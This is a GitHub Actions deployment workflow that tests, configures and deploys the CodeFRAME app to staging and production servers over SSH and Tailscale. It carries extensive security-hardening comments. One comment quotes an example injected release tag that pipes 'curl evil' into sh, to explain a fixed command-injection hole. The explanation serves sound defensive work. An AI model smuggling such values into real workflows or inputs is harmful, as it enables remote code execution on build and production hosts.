Skip to content

fix(installer): give get_installation_history the same shape guard as… #671

fix(installer): give get_installation_history the same shape guard as…

fix(installer): give get_installation_history the same shape guard as… #671

Workflow file for this run

name: Deploy

Check failure on line 1 in .github/workflows/deploy.yml

View workflow run for this annotation

GitHub Actions / .github/workflows/deploy.yml

Invalid workflow file

(Line: 570, Col: 14): An expression was expected
on:
push:
branches: [main]
release:
types: [published]
workflow_dispatch:
inputs:
environment:
description: 'Environment to deploy to'
required: true
default: 'staging'
type: choice
options:
- staging
- production
# Deploy jobs only check out code and SSH outward — no write scopes needed.
permissions:
contents: read
env:
PYTHON_VERSION: '3.11'
NODE_VERSION: '20'
jobs:
# ============================================
# Run Tests First (Quality Gate)
# ============================================
test:
name: Run Test Suite
uses: ./.github/workflows/test.yml
# ============================================
# Deploy to Staging
# ============================================
deploy-staging:
name: Deploy to Staging
runs-on: ubuntu-latest
needs: test # Gate: do not deploy unless the test suite passes
# Serialize staging deploys: overlapping runs SSH to the same VPS and run
# `uv venv --clear`, `npm run build`, and `pm2 restart` concurrently, which
# clears a venv another run is using and races the backend port rebind →
# the backend crash-loops and the health check fails. Queue instead of
# cancel: never interrupt an in-flight deploy and leave the server half-updated.
concurrency:
group: deploy-staging
cancel-in-progress: false
if: |
(github.event_name == 'push' && github.ref == 'refs/heads/main') ||
(github.event_name == 'workflow_dispatch' && github.event.inputs.environment == 'staging')
environment:
name: staging
url: https://dev.codeframeapp.com
steps:
- name: Checkout code
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
- name: Set up SSH
uses: webfactory/ssh-agent@e83874834305fe9a4a2997156cb26c5de65a8555 # v0.10.0
with:
ssh-private-key: ${{ secrets.SSH_KEY }}
# The VPS firewalls port 22 off the public internet; the runner reaches it
# over Tailscale instead. HOST must be the box's tailnet MagicDNS name (or
# 100.x address), and SSH_KNOWN_HOSTS must be labelled with that same HOST.
# Box side: join the tailnet and `ufw allow in on tailscale0 to any port 22`.
- name: Connect to Tailscale
uses: tailscale/github-action@780049a30b6ff5c378a9e7b389d15ece7a204888 # v4.1.3
with:
oauth-client-id: ${{ secrets.TS_OAUTH_CLIENT_ID }}
oauth-secret: ${{ secrets.TS_OAUTH_SECRET }}
tags: tag:ci
- name: Add server to known hosts
# Pinned host key (no live ssh-keyscan TOFU). Populate the
# SSH_KNOWN_HOSTS secret from a trusted session with:
# ssh-keyscan -H <host> (verify the fingerprint out-of-band first)
env:
SSH_KNOWN_HOSTS: ${{ secrets.SSH_KNOWN_HOSTS }}
run: |
if [ -z "${SSH_KNOWN_HOSTS}" ]; then
echo "❌ SSH_KNOWN_HOSTS secret is not set — the deploy cannot verify the server host key."
echo " Populate it from a trusted machine (verify the fingerprint out-of-band first):"
echo " ssh-keyscan -H <host> | gh secret set SSH_KNOWN_HOSTS --env <staging|production>"
exit 1
fi
mkdir -p ~/.ssh
printf '%s\n' "${SSH_KNOWN_HOSTS}" >> ~/.ssh/known_hosts
- name: Create environment file
env:
REMOTE_HOST: ${{ secrets.HOST }}
REMOTE_USER: ${{ secrets.USER }}
REMOTE_PATH: ${{ secrets.PROJECT_PATH }}
ENV_ANTHROPIC_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
ENV_OPENAI_KEY: ${{ secrets.OPENAI_API_KEY }}
ENV_AUTH_SECRET: ${{ secrets.AUTH_SECRET }}
ENV_DATABASE_PATH: ${{ secrets.DATABASE_PATH }}
ENV_WORKSPACE_ROOT: ${{ secrets.WORKSPACE_ROOT }}
ENV_API_HOST: ${{ secrets.API_HOST }}
ENV_API_PORT: ${{ secrets.API_PORT }}
ENV_CORS: ${{ secrets.CORS_ORIGINS }}
ENV_API_URL: ${{ secrets.API_URL }}
ENV_WS_URL: ${{ secrets.WS_URL }}
ENV_LOG_LEVEL: ${{ secrets.LOG_LEVEL }}
ENV_LOG_FILE: ${{ secrets.LOG_FILE }}
ENV_ENVIRONMENT: ${{ secrets.ENVIRONMENT }}
ENV_DEBUG: ${{ secrets.DEBUG }}
ENV_HOT_RELOAD: ${{ secrets.HOT_RELOAD }}
ENV_PM2_FRONTEND_NAME: ${{ secrets.PM2_FRONTEND_NAME }}
ENV_PM2_BACKEND_NAME: ${{ secrets.PM2_BACKEND_NAME }}
run: |
echo "📝 Creating .env.staging file..."
# Workspace allowlist (#896). The backend refuses to start when auth
# is enabled and this is unset, because an empty allowlist lets any
# authenticated user open a terminal session in ANY host directory.
# Optional secret with a sane default, so the deploy doesn't start
# failing on a secret that has never been set.
WORKSPACE_ROOT="${ENV_WORKSPACE_ROOT:-${REMOTE_PATH}/workspaces}"
# Fail fast if the AUTH_SECRET secret is missing/empty. The backend
# hard-fails on the default secret when auth is enabled (issue #643),
# which otherwise only surfaces as a health-check timeout much later.
if [ -z "${ENV_AUTH_SECRET}" ] || ! printf '%s' "${ENV_AUTH_SECRET}" | grep -q '[^[:space:]]'; then
echo "❌ AUTH_SECRET GitHub Actions secret is not set (or blank/whitespace-only)."
echo " Set it to a secure random value, e.g.:"
echo " gh secret set AUTH_SECRET --body \"\$(openssl rand -hex 32)\""
exit 1
fi
# Build env file content safely using printf (no shell interpretation)
ENV_CONTENT=$(printf '%s\n' \
"# CodeFRAME Environment Configuration" \
"# Auto-generated by GitHub Actions deployment" \
"" \
"# AI Provider API Keys" \
"ANTHROPIC_API_KEY=${ENV_ANTHROPIC_KEY}" \
"OPENAI_API_KEY=${ENV_OPENAI_KEY}" \
"" \
"# Authentication" \
"# Required: the backend hard-fails on the default secret when auth" \
"# is enabled (the default) — see issue #643." \
"AUTH_SECRET=${ENV_AUTH_SECRET}" \
"" \
"# Database Configuration" \
"DATABASE_PATH=${ENV_DATABASE_PATH}" \
"" \
"# Workspace allowlist (#896) — permitted roots for workspaces and" \
"# interactive sessions. A session workspace_path becomes a terminal" \
"# shell cwd, so an unset allowlist is a shell anywhere on the host;" \
"# the backend refuses to start without it when auth is enabled." \
"WORKSPACE_ROOT=${WORKSPACE_ROOT}" \
"CODEFRAME_DEPLOYMENT_MODE=self_hosted" \
"" \
"# Status Server Configuration" \
"API_HOST=${ENV_API_HOST}" \
"API_PORT=${ENV_API_PORT}" \
"CORS_ALLOWED_ORIGINS=${ENV_CORS}" \
"" \
"# Web UI Configuration" \
"NEXT_PUBLIC_API_URL=${ENV_API_URL}" \
"NEXT_PUBLIC_WS_URL=${ENV_WS_URL}" \
"" \
"# Logging Configuration" \
"LOG_LEVEL=${ENV_LOG_LEVEL}" \
"LOG_FILE=${ENV_LOG_FILE}" \
"" \
"# Environment & Development Flags" \
"ENVIRONMENT=${ENV_ENVIRONMENT}" \
"DEBUG=${ENV_DEBUG}" \
"HOT_RELOAD=${ENV_HOT_RELOAD}" \
)
# Base64 encode to prevent any shell interpretation during transfer
ENV_BASE64=$(echo "$ENV_CONTENT" | base64 -w 0)
# Transfer and decode safely on remote, verify creation
ssh "${REMOTE_USER}@${REMOTE_HOST}" "
set -e
echo '${ENV_BASE64}' | base64 -d > '${REMOTE_PATH}/.env.staging.tmp'
if [ ! -s '${REMOTE_PATH}/.env.staging.tmp' ]; then
echo '❌ Failed to create environment file (empty or missing)'
rm -f '${REMOTE_PATH}/.env.staging.tmp'
exit 1
fi
mv '${REMOTE_PATH}/.env.staging.tmp' '${REMOTE_PATH}/.env.staging'
chmod 600 '${REMOTE_PATH}/.env.staging'
"
echo "✅ .env.staging created and verified"
- name: Deploy to staging server
env:
BACKEND_NAME: ${{ secrets.PM2_BACKEND_NAME }}
FRONTEND_NAME: ${{ secrets.PM2_FRONTEND_NAME }}
NEXT_PUBLIC_API_URL: ${{ secrets.API_URL }}
NEXT_PUBLIC_WS_URL: ${{ secrets.WS_URL }}
run: |
ssh ${{ secrets.USER }}@${{ secrets.HOST }} "bash -s" << ENDSSH
set -e
echo "🚀 Starting deployment to staging..."
# Navigate to project directory
cd ${{ secrets.PROJECT_PATH }}
# Pull latest code
echo "📥 Pulling latest code..."
git fetch origin main
git reset --hard origin/main
# Backend setup
echo "🐍 Setting up Python backend..."
if ! command -v uv &> /dev/null; then
curl -LsSf https://astral.sh/uv/install.sh | sh
export PATH="\$HOME/.local/bin:\$PATH"
fi
uv venv --clear
source .venv/bin/activate
uv sync
# Frontend setup - export NEXT_PUBLIC vars at build time
echo "📦 Building frontend..."
cd web-ui
npm ci
echo "🔒 Running security audit..."
npm audit --audit-level=critical
# NEXT_PUBLIC vars must be set at build time for Next.js
export NEXT_PUBLIC_API_URL="${NEXT_PUBLIC_API_URL}"
export NEXT_PUBLIC_WS_URL="${NEXT_PUBLIC_WS_URL}"
echo "Building with NEXT_PUBLIC_API_URL=\${NEXT_PUBLIC_API_URL}"
npm run build
cd ..
# Install root dependencies (dotenv for ecosystem config)
echo "📦 Installing PM2 config dependencies..."
npm install
# Ensure logs directory exists
mkdir -p logs
# Restart PM2 services
echo "🔄 Restarting PM2 services..."
if ! command -v pm2 &> /dev/null; then
echo "❌ PM2 not found - please install PM2 globally"
exit 1
fi
# PM2 process names from GitHub secrets (expanded by runner)
BACKEND_NAME="${BACKEND_NAME}"
FRONTEND_NAME="${FRONTEND_NAME}"
echo "Debug: BACKEND_NAME='\${BACKEND_NAME}'"
echo "Debug: FRONTEND_NAME='\${FRONTEND_NAME}'"
# Cold-start from the ecosystem file so its dotenv.config() re-reads
# .env.staging on every deploy. A plain `pm2 restart <name> --update-env`
# refreshes env from the deploy shell (which never sources .env.staging),
# so newly-added vars like WORKSPACE_ROOT (#896) never reach the process
# and the backend crash-loops. Delete by name (NOT `pm2 delete all`,
# which would kill unrelated apps on this shared box), then start fresh.
echo "🔁 (Re)starting PM2 services from config..."
pm2 delete "\${BACKEND_NAME}" "\${FRONTEND_NAME}" 2>/dev/null || true
pm2 start ecosystem.staging.config.js --update-env
pm2 save
echo "✅ PM2 services updated"
echo "✅ Deployment to staging complete!"
ENDSSH
- name: Verify deployment
run: |
echo "🔍 Verifying staging deployment..."
MAX_ATTEMPTS=12
SLEEP_SECONDS=5
for i in $(seq 1 $MAX_ATTEMPTS); do
echo "Health check attempt $i/$MAX_ATTEMPTS..."
if ssh ${{ secrets.USER }}@${{ secrets.HOST }} "curl -sf http://localhost:${{ secrets.API_PORT }}/health"; then
echo "✅ Health check passed on attempt $i"
exit 0
fi
if [ $i -lt $MAX_ATTEMPTS ]; then
echo "⏳ Waiting ${SLEEP_SECONDS}s before retry..."
sleep $SLEEP_SECONDS
fi
done
echo "❌ Health check failed after $MAX_ATTEMPTS attempts"
# Surface the cause: a silent `curl -sf` gave no reason. Dump PM2
# status and the backend error log so a crash-loop is diagnosable.
echo "::group::Backend diagnostics (PM2 status + recent error log)"
ssh ${{ secrets.USER }}@${{ secrets.HOST }} "
pm2 describe '${{ secrets.PM2_BACKEND_NAME }}' 2>/dev/null | grep -Ei 'status|restarts|uptime|script|pid|exit' || true
echo '--- last 40 lines of logs/backend-error.log ---'
tail -n 40 '${{ secrets.PROJECT_PATH }}/logs/backend-error.log' 2>/dev/null || echo '(no backend-error.log found)'
" || true
echo "::endgroup::"
exit 1
- name: Deployment summary
env:
# Branch names carry the same metacharacter risk as tags (#933).
BRANCH_NAME: ${{ github.ref_name }}
run: |
echo "## Staging Deployment Summary" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "- **Branch**: $BRANCH_NAME" >> $GITHUB_STEP_SUMMARY
echo "- **Commit**: \`${{ github.sha }}\`" >> $GITHUB_STEP_SUMMARY
echo "- **Deployed by**: ${{ github.actor }}" >> $GITHUB_STEP_SUMMARY
echo "- **Time**: $(date -u '+%Y-%m-%d %H:%M:%S UTC')" >> $GITHUB_STEP_SUMMARY
# ============================================
# Deploy to Production
# ============================================
deploy-production:
name: Deploy to Production
runs-on: ubuntu-latest
needs: test # Gate: do not deploy to production unless the test suite passes
# Serialize production deploys (own group, independent of staging).
concurrency:
group: deploy-production
cancel-in-progress: false
if: |
(github.event_name == 'release') ||
(github.event_name == 'workflow_dispatch' && github.event.inputs.environment == 'production')
environment:
name: production
url: https://codeframe.example.com
steps:
- name: Checkout code
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
- name: Set up SSH
uses: webfactory/ssh-agent@e83874834305fe9a4a2997156cb26c5de65a8555 # v0.10.0
with:
ssh-private-key: ${{ secrets.SSH_KEY }}
# The VPS firewalls port 22 off the public internet; the runner reaches it
# over Tailscale instead. HOST must be the box's tailnet MagicDNS name (or
# 100.x address), and SSH_KNOWN_HOSTS must be labelled with that same HOST.
# Box side: join the tailnet and `ufw allow in on tailscale0 to any port 22`.
- name: Connect to Tailscale
uses: tailscale/github-action@780049a30b6ff5c378a9e7b389d15ece7a204888 # v4.1.3
with:
oauth-client-id: ${{ secrets.TS_OAUTH_CLIENT_ID }}
oauth-secret: ${{ secrets.TS_OAUTH_SECRET }}
tags: tag:ci
- name: Add server to known hosts
# Pinned host key (no live ssh-keyscan TOFU). Populate the
# SSH_KNOWN_HOSTS secret from a trusted session with:
# ssh-keyscan -H <host> (verify the fingerprint out-of-band first)
env:
SSH_KNOWN_HOSTS: ${{ secrets.SSH_KNOWN_HOSTS }}
run: |
if [ -z "${SSH_KNOWN_HOSTS}" ]; then
echo "❌ SSH_KNOWN_HOSTS secret is not set — the deploy cannot verify the server host key."
echo " Populate it from a trusted machine (verify the fingerprint out-of-band first):"
echo " ssh-keyscan -H <host> | gh secret set SSH_KNOWN_HOSTS --env <staging|production>"
exit 1
fi
mkdir -p ~/.ssh
printf '%s\n' "${SSH_KNOWN_HOSTS}" >> ~/.ssh/known_hosts
- name: Create environment file
env:
REMOTE_HOST: ${{ secrets.HOST }}
REMOTE_USER: ${{ secrets.USER }}
REMOTE_PATH: ${{ secrets.PROJECT_PATH }}
ENV_ANTHROPIC_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
ENV_OPENAI_KEY: ${{ secrets.OPENAI_API_KEY }}
ENV_AUTH_SECRET: ${{ secrets.AUTH_SECRET }}
ENV_DATABASE_PATH: ${{ secrets.DATABASE_PATH }}
ENV_WORKSPACE_ROOT: ${{ secrets.WORKSPACE_ROOT }}
ENV_API_HOST: ${{ secrets.API_HOST }}
ENV_API_PORT: ${{ secrets.API_PORT }}
ENV_CORS: ${{ secrets.CORS_ORIGINS }}
ENV_API_URL: ${{ secrets.API_URL }}
ENV_WS_URL: ${{ secrets.WS_URL }}
ENV_LOG_LEVEL: ${{ secrets.LOG_LEVEL }}
ENV_LOG_FILE: ${{ secrets.LOG_FILE }}
ENV_ENVIRONMENT: ${{ secrets.ENVIRONMENT }}
ENV_DEBUG: ${{ secrets.DEBUG }}
ENV_HOT_RELOAD: ${{ secrets.HOT_RELOAD }}
run: |
echo "📝 Creating .env.production file..."
# Workspace allowlist (#896). The backend refuses to start when auth
# is enabled and this is unset, because an empty allowlist lets any
# authenticated user open a terminal session in ANY host directory.
# Optional secret with a sane default, so the deploy doesn't start
# failing on a secret that has never been set.
WORKSPACE_ROOT="${ENV_WORKSPACE_ROOT:-${REMOTE_PATH}/workspaces}"
# Fail fast if the AUTH_SECRET secret is missing/empty. The backend
# hard-fails on the default secret when auth is enabled (issue #643),
# which otherwise only surfaces as a health-check timeout much later.
if [ -z "${ENV_AUTH_SECRET}" ] || ! printf '%s' "${ENV_AUTH_SECRET}" | grep -q '[^[:space:]]'; then
echo "❌ AUTH_SECRET GitHub Actions secret is not set (or blank/whitespace-only)."
echo " Set it to a secure random value, e.g.:"
echo " gh secret set AUTH_SECRET --body \"\$(openssl rand -hex 32)\""
exit 1
fi
# Build env file content safely using printf (no shell interpretation)
ENV_CONTENT=$(printf '%s\n' \
"# CodeFRAME Environment Configuration" \
"# Auto-generated by GitHub Actions deployment" \
"" \
"# AI Provider API Keys" \
"ANTHROPIC_API_KEY=${ENV_ANTHROPIC_KEY}" \
"OPENAI_API_KEY=${ENV_OPENAI_KEY}" \
"" \
"# Authentication" \
"# Required: the backend hard-fails on the default secret when auth" \
"# is enabled (the default) — see issue #643." \
"AUTH_SECRET=${ENV_AUTH_SECRET}" \
"" \
"# Database Configuration" \
"DATABASE_PATH=${ENV_DATABASE_PATH}" \
"" \
"# Workspace allowlist (#896) — permitted roots for workspaces and" \
"# interactive sessions. A session workspace_path becomes a terminal" \
"# shell cwd, so an unset allowlist is a shell anywhere on the host;" \
"# the backend refuses to start without it when auth is enabled." \
"WORKSPACE_ROOT=${WORKSPACE_ROOT}" \
"CODEFRAME_DEPLOYMENT_MODE=self_hosted" \
"" \
"# Status Server Configuration" \
"API_HOST=${ENV_API_HOST}" \
"API_PORT=${ENV_API_PORT}" \
"CORS_ALLOWED_ORIGINS=${ENV_CORS}" \
"" \
"# Web UI Configuration" \
"NEXT_PUBLIC_API_URL=${ENV_API_URL}" \
"NEXT_PUBLIC_WS_URL=${ENV_WS_URL}" \
"" \
"# Logging Configuration" \
"LOG_LEVEL=${ENV_LOG_LEVEL}" \
"LOG_FILE=${ENV_LOG_FILE}" \
"" \
"# Environment & Development Flags" \
"ENVIRONMENT=${ENV_ENVIRONMENT}" \
"DEBUG=${ENV_DEBUG}" \
"HOT_RELOAD=${ENV_HOT_RELOAD}" \
)
# Base64 encode to prevent any shell interpretation during transfer
ENV_BASE64=$(echo "$ENV_CONTENT" | base64 -w 0)
# Transfer and decode safely on remote, verify creation
ssh "${REMOTE_USER}@${REMOTE_HOST}" "
set -e
echo '${ENV_BASE64}' | base64 -d > '${REMOTE_PATH}/.env.production.tmp'
if [ ! -s '${REMOTE_PATH}/.env.production.tmp' ]; then
echo '❌ Failed to create environment file (empty or missing)'
rm -f '${REMOTE_PATH}/.env.production.tmp'
exit 1
fi
mv '${REMOTE_PATH}/.env.production.tmp' '${REMOTE_PATH}/.env.production'
chmod 600 '${REMOTE_PATH}/.env.production'
"
echo "✅ .env.production created and verified"
- name: Create pre-deployment backup
run: |
ssh ${{ secrets.USER }}@${{ secrets.HOST }} "bash -s" << ENDSSH
set -e
echo "💾 Creating pre-deployment backup..."
PROJECT_PATH="${{ secrets.PROJECT_PATH }}"
BACKUP_BASE="\${PROJECT_PATH}/backups"
TIMESTAMP="\$(date +%Y%m%d-%H%M%S)"
BACKUP_NAME="backup-\${TIMESTAMP}"
TMP_BACKUP="/tmp/\${BACKUP_NAME}"
FINAL_ARCHIVE="\${BACKUP_BASE}/\${BACKUP_NAME}.tar.gz"
RETENTION_COUNT=10
cd \${PROJECT_PATH}
# Create persistent backup directory with proper permissions
mkdir -p \${BACKUP_BASE}
chmod 700 \${BACKUP_BASE}
# Create temporary staging directory
mkdir -p \${TMP_BACKUP}
# Record current commit
git rev-parse HEAD > \${TMP_BACKUP}/previous_commit.txt
git log -1 --format="%H %s" >> \${TMP_BACKUP}/previous_commit.txt
echo "📝 Current commit: \$(head -1 \${TMP_BACKUP}/previous_commit.txt)"
# Backup database
if [ -f .codeframe/state.db ]; then
cp .codeframe/state.db \${TMP_BACKUP}/
echo "✅ Database backed up"
fi
# Backup config files
if [ -d .codeframe ]; then
cp -r .codeframe/config.* \${TMP_BACKUP}/ 2>/dev/null || true
cp -r .codeframe/*.json \${TMP_BACKUP}/ 2>/dev/null || true
fi
# Backup environment files
cp .env* \${TMP_BACKUP}/ 2>/dev/null || true
cp ecosystem*.config.js \${TMP_BACKUP}/ 2>/dev/null || true
# Backup recent logs (last 1000 lines each to keep size manageable)
if [ -d logs ]; then
mkdir -p \${TMP_BACKUP}/logs
for logfile in logs/*.log; do
if [ -f "\$logfile" ]; then
tail -1000 "\$logfile" > "\${TMP_BACKUP}/logs/\$(basename \$logfile)" 2>/dev/null || true
fi
done
echo "✅ Logs backed up"
fi
# Create compressed archive atomically
echo "📦 Creating compressed archive..."
tar -czf "\${TMP_BACKUP}.tar.gz" -C /tmp "\${BACKUP_NAME}" || {
echo "❌ Failed to create backup archive"
rm -rf \${TMP_BACKUP}
exit 1
}
# Move to final location atomically
mv "\${TMP_BACKUP}.tar.gz" "\${FINAL_ARCHIVE}" || {
echo "❌ Failed to move backup to final location"
rm -rf \${TMP_BACKUP} "\${TMP_BACKUP}.tar.gz"
exit 1
}
# Set proper permissions on archive
chmod 600 "\${FINAL_ARCHIVE}"
# Cleanup temp directory
rm -rf \${TMP_BACKUP}
# Retention policy: keep last N backups
echo "🗑️ Applying retention policy (keeping last \${RETENTION_COUNT} backups)..."
cd \${BACKUP_BASE}
ls -t backup-*.tar.gz 2>/dev/null | tail -n +\$((RETENTION_COUNT + 1)) | xargs -r rm -f
# Report backup status
BACKUP_SIZE=\$(du -h "\${FINAL_ARCHIVE}" | cut -f1)
BACKUP_COUNT=\$(ls -1 backup-*.tar.gz 2>/dev/null | wc -l)
echo "✅ Backup created: \${FINAL_ARCHIVE} (\${BACKUP_SIZE})"
echo "📊 Total backups retained: \${BACKUP_COUNT}"
ENDSSH
- name: Deploy to production server
env:
BACKEND_NAME_PROD: ${{ secrets.PM2_BACKEND_NAME }}
FRONTEND_NAME_PROD: ${{ secrets.PM2_FRONTEND_NAME }}
NEXT_PUBLIC_API_URL: ${{ secrets.API_URL }}
NEXT_PUBLIC_WS_URL: ${{ secrets.WS_URL }}
# Via env, never `${{ }}` inside the run script: an expression is
# substituted as raw source text into the shell, an env var is data the
# shell never re-parses (#933).
RELEASE_TAG: ${{ github.event.release.tag_name }}
run: |
# The release tag is attacker-influenced: git ref names may legally
# contain ';', '$( )', backticks and pipes, and `${{ }}` is substituted
# by the runner BEFORE this heredoc is written. A tag like
# v1.0.0";curl evil|sh;"
# therefore ran attacker shell on the runner and on the production
# host — repo write access escalating to production RCE (#933).
#
# base64 is the transport because its alphabet (A-Za-z0-9+/=) has no
# shell metacharacters, so the value survives both the runner-side
# heredoc expansion and the remote shell with nothing to escape. This
# mirrors the .env transfer above, which already does exactly this.
# ssh SendEnv is not used: it needs a matching AcceptEnv server-side,
# which this workflow does not control.
RELEASE_TAG_B64="$(printf '%s' "$RELEASE_TAG" | base64 | tr -d '\n')"
ssh ${{ secrets.USER }}@${{ secrets.HOST }} "bash -s" << ENDSSH
set -e
echo "🚀 Starting deployment to production..."
# Navigate to project directory
cd ${{ secrets.PROJECT_PATH }}
# Pull the release tag or main
echo "📥 Pulling latest code..."
git fetch origin --tags
TAG_NAME="\$(printf '%s' '${RELEASE_TAG_B64}' | base64 -d)"
if [ -n "\$TAG_NAME" ]; then
# Quoted so a tag with whitespace or globs stays one argument.
# (git check-ref-format forbids a leading '-', so the ref cannot be
# mistaken for an option.)
git checkout "\$TAG_NAME"
echo "✅ Checked out tag: \$TAG_NAME"
else
git fetch origin main
git reset --hard origin/main
echo "✅ Reset to origin/main"
fi
# Backend setup
echo "🐍 Setting up Python backend..."
if ! command -v uv &> /dev/null; then
curl -LsSf https://astral.sh/uv/install.sh | sh
# uv installs to ~/.local/bin, and \$HOME must expand on the host
# (not the runner) — mirror the staging job (#727).
export PATH="\$HOME/.local/bin:\$PATH"
fi
uv venv --clear
source .venv/bin/activate
uv sync --no-dev
# Frontend setup (production build) - export NEXT_PUBLIC vars at build time
echo "📦 Building frontend for production..."
cd web-ui
npm ci
echo "🔒 Running security audit..."
npm audit --audit-level=critical
# NEXT_PUBLIC vars must be set at build time for Next.js
export NEXT_PUBLIC_API_URL="${NEXT_PUBLIC_API_URL}"
export NEXT_PUBLIC_WS_URL="${NEXT_PUBLIC_WS_URL}"
echo "Building with NEXT_PUBLIC_API_URL=\${NEXT_PUBLIC_API_URL}"
npm run build
cd ..
# Install root dependencies (dotenv for ecosystem config)
echo "📦 Installing PM2 config dependencies..."
npm install
# Run database migrations if any
echo "🗃️ Running database migrations..."
# Add migration command here if needed
# Ensure logs directory exists
mkdir -p logs
# Restart PM2 services
echo "🔄 Restarting PM2 services..."
if ! command -v pm2 &> /dev/null; then
echo "❌ PM2 not found - please install PM2 globally"
exit 1
fi
# PM2 process names from GitHub secrets (expanded by runner)
BACKEND_NAME="${BACKEND_NAME_PROD}"
FRONTEND_NAME="${FRONTEND_NAME_PROD}"
# Cold-start from the ecosystem file so its dotenv.config() re-reads
# .env.production on every deploy — see the staging job for why a plain
# `pm2 restart <name>` silently drops newly-added .env vars (#896).
# Delete by name (NOT `pm2 delete all`) to spare unrelated apps.
echo "🔁 (Re)starting PM2 services from config..."
pm2 delete "\${BACKEND_NAME}" "\${FRONTEND_NAME}" 2>/dev/null || true
pm2 start ecosystem.production.config.js --update-env
pm2 save
echo "✅ PM2 services updated"
echo "✅ Deployment to production complete!"
ENDSSH
- name: Verify deployment
run: |
echo "🔍 Verifying production deployment..."
MAX_ATTEMPTS=12
SLEEP_SECONDS=5
for i in $(seq 1 $MAX_ATTEMPTS); do
echo "Health check attempt $i/$MAX_ATTEMPTS..."
if ssh ${{ secrets.USER }}@${{ secrets.HOST }} "curl -sf http://localhost:${{ secrets.API_PORT }}/health"; then
echo "✅ Health check passed on attempt $i"
exit 0
fi
if [ $i -lt $MAX_ATTEMPTS ]; then
echo "⏳ Waiting ${SLEEP_SECONDS}s before retry..."
sleep $SLEEP_SECONDS
fi
done
echo "❌ Health check failed after $MAX_ATTEMPTS attempts"
# Surface the cause: a silent `curl -sf` gave no reason. Dump PM2
# status and the backend error log so a crash-loop is diagnosable.
echo "::group::Backend diagnostics (PM2 status + recent error log)"
ssh ${{ secrets.USER }}@${{ secrets.HOST }} "
pm2 describe '${{ secrets.PM2_BACKEND_NAME }}' 2>/dev/null | grep -Ei 'status|restarts|uptime|script|pid|exit' || true
echo '--- last 40 lines of logs/backend-error.log ---'
tail -n 40 '${{ secrets.PROJECT_PATH }}/logs/backend-error.log' 2>/dev/null || echo '(no backend-error.log found)'
" || true
echo "::endgroup::"
exit 1
- name: Deployment summary
env:
# Same class as the deploy step (#933): interpolating a ref name into
# the run script executes `$( )` inside a tag on the runner. Not named
# in the issue, but the identical defect one step later.
RELEASE_VERSION: ${{ github.event.release.tag_name || github.ref_name }}
run: |
echo "## Production Deployment Summary" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "- **Version**: $RELEASE_VERSION" >> $GITHUB_STEP_SUMMARY
echo "- **Commit**: \`${{ github.sha }}\`" >> $GITHUB_STEP_SUMMARY
echo "- **Deployed by**: ${{ github.actor }}" >> $GITHUB_STEP_SUMMARY
echo "- **Time**: $(date -u '+%Y-%m-%d %H:%M:%S UTC')" >> $GITHUB_STEP_SUMMARY